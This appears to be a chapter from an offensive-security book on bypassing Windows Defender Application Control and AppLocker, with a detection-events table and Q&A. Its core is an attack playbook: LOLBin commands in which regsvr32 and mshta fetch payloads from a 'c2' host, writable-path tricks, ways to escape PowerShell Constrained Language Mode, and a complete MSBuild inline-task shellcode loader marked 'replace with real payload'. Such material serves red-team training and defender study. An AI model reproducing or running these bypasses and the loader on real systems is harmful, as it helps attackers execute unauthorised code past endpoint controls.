Chapter 23

WDAC and AppLocker Bypass Techniques

Windows Defender Application Control (WDAC) and AppLocker are application whitelisting technologies that block unsigned or untrusted executables and scripts. An environment with a mature WDAC policy in enforcement mode will block every EXE, DLL, and script that isn't explicitly trusted — which sounds impenetrable. But no policy covers every corner of the Windows application surface. This chapter explains how both technologies work, what they check, what they miss, and the full playbook of bypass techniques ranging from trusted binary abuse (LOLBins) to DLL execution via trusted loaders to policy misconfigurations that leave gaps in coverage.

AppLocker vs WDAC — How They Actually Differ

AppLocker vs WDAC architecture comparison
  AppLocker:
  ─────────────────────────────────────────────────────────────────────────
  Component:      APPID driver (AppID.sys) in kernel, managed via GPO
  Enforcement:    Group Policy → AppID service → kernel enforcement
  Scope:          EXEs, DLLs, Scripts (.ps1, .js, .vbs, .cmd), Installers (.msi)
  Logic:          Path rules, Hash rules, Publisher (signature) rules
  Default mode:   Audit mode (logs events, doesn't block)
  Bypass risk:    HIGH — many known bypasses via LOLBins, DLL rules often disabled
  Key weakness:   DLL enforcement is DISABLED by default (performance impact)
                  Scripts can often be bypassed via alternative execution paths
  Availability:   Windows 10+ Enterprise and Education editions
  Logging:        Event ID 8004 (blocked), 8007 (blocked DLL)

  WDAC (Windows Defender Application Control):
  ─────────────────────────────────────────────────────────────────────────
  Component:      CI.dll in kernel — Code Integrity checks at every load
  Enforcement:    Code signing + configurable policy file (.p7 file)
  Scope:          ALL user-mode binaries: EXEs, DLLs, drivers (Kernel-mode CI)
  Logic:          Signature-based, Hash-based, Path-based (less common)
  Default mode:   Not deployed (must be explicitly configured)
  Bypass risk:    MEDIUM — harder than AppLocker but still has LOLBin gaps
  Key strength:   DLL enforcement is ON by default (WDAC covers DLLs)
                  Script enforcement integrates with AMSI for scripts
  Availability:   All Windows 10+ editions (but policy deployment needs tools)
  Logging:        Event ID 3076 (audit), 3077 (blocked)

  Key difference summary:
  ─────────────────────────────────────────────────────────────────────────
  • AppLocker is GPO-managed, DLL enforcement off by default → easier to bypass
  • WDAC is kernel-level CI, covers DLLs by default → harder but not impossible
  • Both allow Microsoft-signed binaries → LOLBin abuse works against both
  • WDAC policy can be supplemented with Microsoft's HVCI for stronger protection

What Gets Checked and What Doesn't

AppLocker and WDAC enforcement coverage
  File type                │ AppLocker        │ WDAC (default)
  ─────────────────────────┼──────────────────┼────────────────────────────────────
  .exe                     │ YES              │ YES
  .dll                     │ Disabled default │ YES
  .msi / .msp              │ YES              │ YES
  .ps1 (PowerShell)        │ YES (CLM mode)   │ YES (CLM + script enforcement)
  .js (JScript)            │ YES              │ YES (via AMSI integration)
  .vbs (VBScript)          │ YES              │ YES (via AMSI integration)
  .bat / .cmd              │ YES              │ Limited (depends on policy)
  .hta                     │ YES (mshta.exe)  │ YES (via mshta.exe control)
  Reflective shellcode     │ NO               │ NO ← cannot be policy-controlled
  PE injected into process │ NO               │ NO (after initial process allowed)
  .NET assemblies          │ Partial          │ YES (with .NET WDAC integration)
  COM scriptlets (.sct)    │ Limited          │ Limited
  ─────────────────────────┴──────────────────┴────────────────────────────────────

  Critical gaps both share:
  ─────────────────────────────────────────────────────────────────────────────────
  1. LOLBins: Microsoft-signed tools (mshta, rundll32, regsvr32, msbuild)
     are trusted by both → can be used to execute arbitrary code

  2. Memory-only execution: Once an allowed process is running, shellcode
     injected into its memory space is NOT checked by either

  3. Trusted installers: MSI packages signed by trusted certificates pass

  4. Living-off-the-land scripts: Scripts run via trusted interpreters
     (PowerShell in CLM still allows many operations; cmd /c always works)

AppLocker Bypass Techniques

Technique 1: LOLBin — Trusted Microsoft Binary

AppLocker allows Microsoft-signed binaries. Abuse them to execute code:

msbuild.exe — executes C# code from an XML project file:
  msbuild.exe malicious.xml
  (malicious.xml contains an inline task that compiles and runs C#)

regsvr32.exe — executes COM scriptlets:
  regsvr32 /s /u /n /i:http://c2/payload.sct scrobj.dll
  (Squiblydoo technique — scriptlet from URL)

rundll32.exe — executes DLL exports:
  rundll32.exe payload.dll,EntryPoint

mshta.exe — executes HTA files:
  mshta.exe http://c2/loader.hta
  mshta.exe vbscript:Execute("...")

installutil.exe — .NET code execution:
  installutil.exe /logfile= /logtoconsole=false /u payload.dll

PresentationHost.exe — XAML execution:
  (loads XAML from a URI — executes in .NET context)

Note: each of these is burned to varying degrees. The most burned:
regsvr32 + URL is detected by virtually every modern security tool.
msbuild is nearly as burned. mshta is highly monitored.
The less-monitored options (PresentationHost, odbcconf) are niche.

Technique 2: Writable Path Allowed by Policy

Common AppLocker misconfiguration: path rules allow C:\Windows\ recursively.
But some subdirectories are writable by standard users:

Writable paths under C:\Windows\ (by default user):
  C:\Windows\Tasks\
  C:\Windows\tracing\
  C:\Windows\System32\spool\PRINTERS\
  C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
  C:\Windows\SysWOW64\Tasks\
  C:\Windows\debug\WIA\
  C:\Windows\System32\Tasks\  (Windows 7/8, patched on later)

If AppLocker has a rule: "Allow all files in C:\Windows\*" →
Placing an EXE in C:\Windows\Tasks\ allows execution.

How to find writable paths under allowed AppLocker paths:
  accesschk.exe -w "C:\Windows" -s   (Sysinternals)
  Or: icacls C:\Windows\Tasks         (check for (I)(W) or (M) for current user)

Note: Microsoft has patched many of these over time. Test in lab first.

Technique 3: PowerShell Constrained Language Mode Bypass

When AppLocker/WDAC is active, PowerShell runs in Constrained Language Mode (CLM).
CLM restricts: Add-Type, .NET object creation, COM creation, module loading.
But CLM doesn't restrict: basic cmdlets, file operations, WMI (partially).

CLM bypass approaches:

1. Use a downlevel PS version (if installed):
   powershell.exe -Version 2 ...
   (PS 2.0 doesn't support CLM — but must be installed)

2. Use a custom runspace (PSHost / API) — invoke PS engine from a signed binary
   (complex, requires a trusted loader to host the PS engine)

3. Use WMI to execute code outside PS:
   [wmiclass]"Win32_Process").Create("cmd /c ...")
   (WMI method invocation often bypasses CLM restrictions)

4. Use a .NET assembly loaded via reflection before CLM enforces:
   [System.Reflection.Assembly]::Load($bytes)
   (May be blocked by WDAC .NET integration)

WDAC Bypass Techniques

Technique 1: Trusted Binary Code Execution (LOLBins still work)

WDAC allows Microsoft-signed binaries. Same LOLBins as AppLocker work:

msbuild.exe (signed by Microsoft):
  msbuild.exe malicious.xml   → compiles and executes inline C# code
  The inline task itself is not a PE file → WDAC doesn't check it

mshta.exe + VBScript:
  mshta.exe http://c2/loader.hta → downloads and executes VBScript
  WDAC allows mshta.exe; script content (VBScript) is checked by AMSI,
  not WDAC's code integrity policy

wscript.exe + JScript:
  wscript.exe payload.js        → JScript execution in allowed host

The key insight: WDAC controls what BINARY loads, not what that binary DOES.
A trusted binary executing interpreted code (JScript, VBScript, .NET IL) bypasses
WDAC's signature check because the interpreter is trusted, not the script.

Technique 2: File-less Shellcode After Trusted Process

WDAC checks: does this PE file (EXE/DLL) have a valid signature?
WDAC does NOT check: bytes allocated in memory via VirtualAlloc + CreateThread

Once you have code executing inside a WDAC-trusted process (via any of the above):
  VirtualAlloc(RWX) → copy shellcode → CreateThread

No PE file involved = no WDAC code integrity check.
Shellcode injection bypasses WDAC by design — WDAC is a file-loader control,
not a runtime memory execution control.

Relevant only if: (1) you can get to code execution in a trusted process,
and (2) the process isn't constrained by Arbitrary Code Guard (ACG) policy.
ACG prevents RWX memory allocations in a process — but only if specifically
configured, not by default WDAC deployment.

Technique 3: .NET NGEN-Precompiled Assemblies (Niche)

WDAC supplemental policy for .NET:
Some WDAC configurations only check native PE files, not .NET IL assemblies.
NGEN (Native Image Generator) pre-compiles .NET assemblies to native code.
Natively compiled .NET assemblies (in GAC/native image cache) may bypass checks.

This is complex and environment-specific — test per target configuration.
Relevant primarily for .NET Framework 4.x; .NET 5+ native AOT has different behavior.

msbuild.exe Deep Dive — Most Reliable Bypass

MSBuild is the most reliable and most capable LOLBin bypass for both AppLocker and WDAC. An MSBuild project file can contain an inline task — C# code that MSBuild compiles and executes at build time:

<!-- malicious.xml — MSBuild inline task payload -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

  <!-- Define the inline task with C# code -->
  <UsingTask
    TaskName="ExecPayload"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">

    <ParameterGroup/>
    <Task>
      <!-- Additional references needed -->
      <Reference Include="System"/>
      <Using Namespace="System"/>
      <Using Namespace="System.Runtime.InteropServices"/>

      <Code Type="Fragment" Language="cs">
        <![CDATA[
          // Import VirtualAlloc, CreateThread, WaitForSingleObject
          [DllImport("kernel32")]
          static extern IntPtr VirtualAlloc(
              IntPtr a, uint s, uint t, uint p);

          [DllImport("kernel32")]
          static extern IntPtr CreateThread(
              IntPtr a, uint s, IntPtr f, IntPtr p, uint fl, ref uint id);

          [DllImport("kernel32")]
          static extern uint WaitForSingleObject(IntPtr h, uint t);

          // Shellcode: NOP sled + INT3 for testing; replace with real payload
          byte[] sc = new byte[] { 0x90, 0x90, 0x90, 0xCC };

          // Allocate RWX memory and copy shellcode
          IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
                                    0x1000 | 0x2000, 0x40);
          Marshal.Copy(sc, 0, mem, sc.Length);

          // Execute
          uint tid = 0;
          IntPtr ht = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, ref tid);
          WaitForSingleObject(ht, 15000);
        ]]>
      </Code>
    </Task>
  </UsingTask>

  <!-- Build target that calls the inline task -->
  <Target Name="Build">
    <ExecPayload/>
  </Target>
</Project>
Execution:
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe malicious.xml

Note: msbuild.exe path varies by .NET version. Common paths:
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe  (x64 .NET 4)
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe    (x86 .NET 4)
  C:\Program Files\Microsoft Visual Studio\...\MSBuild\...\MSBuild.exe (VS)

Detection: msbuild.exe execution from non-build-system context is suspicious.
An endpoint rule: msbuild.exe process creation where parent != devenv.exe or CI/CD
→ high-priority alert in most mature environments.

Detection Footprint

WDAC/AppLocker bypass detection events
  Bypass technique         │ Events generated                      │ Detection rule
  ─────────────────────────┼───────────────────────────────────────┼─────────────────────────────
  msbuild.exe              │ Sysmon 1: msbuild.exe spawn           │ parent≠VS/CI → HIGH
                           │ Sysmon 7: csc.exe spawn (C# compile)  │ csc.exe outside IDE = suspect
                           │ Sysmon 1: csc.exe → compiled binary   │
  mshta.exe + URL          │ Sysmon 1: mshta.exe spawn             │ mshta + URL argument = HIGH
                           │ Sysmon 3: mshta.exe → outbound        │
  regsvr32 + URL           │ Sysmon 1: regsvr32.exe spawn          │ regsvr32 + /i:http = BURNED
  wscript.exe + .js        │ Sysmon 1: wscript.exe spawn           │ depends on script content
  Shellcode injection      │ EDR: VirtualAlloc(RWX) in trusted proc │ memory-level detection
  AppLocker writable path  │ Sysmon 11: file write to C:\Windows\Tasks │ path + creation
                           │ Sysmon 1: EXE executed from \Tasks\   │

  Policy and audit events:
  AppLocker block:  Event ID 8004 in Microsoft-Windows-AppLocker/EXE and DLL
  WDAC audit:       Event ID 3076 in Microsoft-Windows-CodeIntegrity/Operational
  WDAC block:       Event ID 3077 in same log
  These events are gold for defenders — they show exactly what was blocked
  and provide the hash and path of the attempted file.

Questions & Answers

What's the difference between WDAC "audit" mode and "enforcement" mode operationally?

In audit mode, WDAC logs every policy violation (Event ID 3076) but doesn't block anything. The system runs normally. Audit mode is used during rollout to identify legitimate software that would be blocked before enabling enforcement. In enforcement mode, WDAC actually blocks code that doesn't meet the policy (Event ID 3077) — the process refuses to start or the DLL refuses to load. For an attacker: (1) in audit mode, your tools will run but generate events that defenders can review; (2) in enforcement mode, unsigned code simply won't execute and you need a bypass. The presence of 3076 events (audit) without 3077 events (enforcement) tells you the target isn't in enforcement mode yet. Many organizations stay in audit mode indefinitely because the rollout complexity is high.

Can Arbitrary Code Guard (ACG) defeat shellcode injection even after bypassing WDAC?

Yes. ACG (Arbitrary Code Guard) is a process mitigation policy that prevents a process from creating new executable memory pages — it blocks VirtualAlloc(PAGE_EXECUTE_READWRITE) and VirtualProtect calls that try to make pages executable. If ACG is applied to a process (via SetProcessMitigationPolicy or process creation flags), standard shellcode injection into that process fails. However: (1) ACG must be explicitly configured per-process — it's not on by default for most processes; (2) only specific high-value targets (Edge renderer, some Office components) have ACG by default; (3) ACG can be bypassed by injecting pre-existing executable code (code-reuse / ROP chains rather than shellcode) or by targeting processes without ACG. ACG is a meaningful additional defense but not universal.

Does WDAC protect against fileless attacks that only use PowerShell?

WDAC integrates with AMSI to enforce Script Enforcement for PowerShell. When Script Enforcement is enabled in a WDAC policy, PowerShell checks every script block through AMSI before executing. Scripts that contain code to bypass WDAC or load unsigned assemblies are blocked. However, PowerShell in Constrained Language Mode (CLM) is the more common mitigation for fileless PS attacks — CLM prevents Add-Type, System.Reflection.Assembly.Load, and other .NET dynamic loading operations, significantly limiting what PS scripts can do. The combination of WDAC + CLM + Script Enforcement is quite strong. But: mshta.exe with VBScript, wscript.exe with JScript, and msbuild.exe with C# are not governed by CLM and represent remaining bypass paths.

How do I determine what AppLocker/WDAC policy is in effect on a target?

From a running implant (or PowerShell session): Get-AppLockerPolicy -Effective | ConvertTo-Xml to read the AppLocker policy. For WDAC: the effective WDAC policy is stored in binary form in C:\Windows\System32\CodeIntegrity\CiPolicies\Active\ — you can read and parse these files with the CiPolicyParser tool or extract key settings via WMI/registry. PowerShell language mode: $ExecutionContext.SessionState.LanguageMode — if it returns "ConstrainedLanguage", a policy is active. Quick LOLBin test: run msbuild.exe with a benign project file and observe whether it runs or generates Event ID 8004/3077. From a minimal foothold, checking whether common LOLBins execute without errors is the fastest empirical test of what's blocked.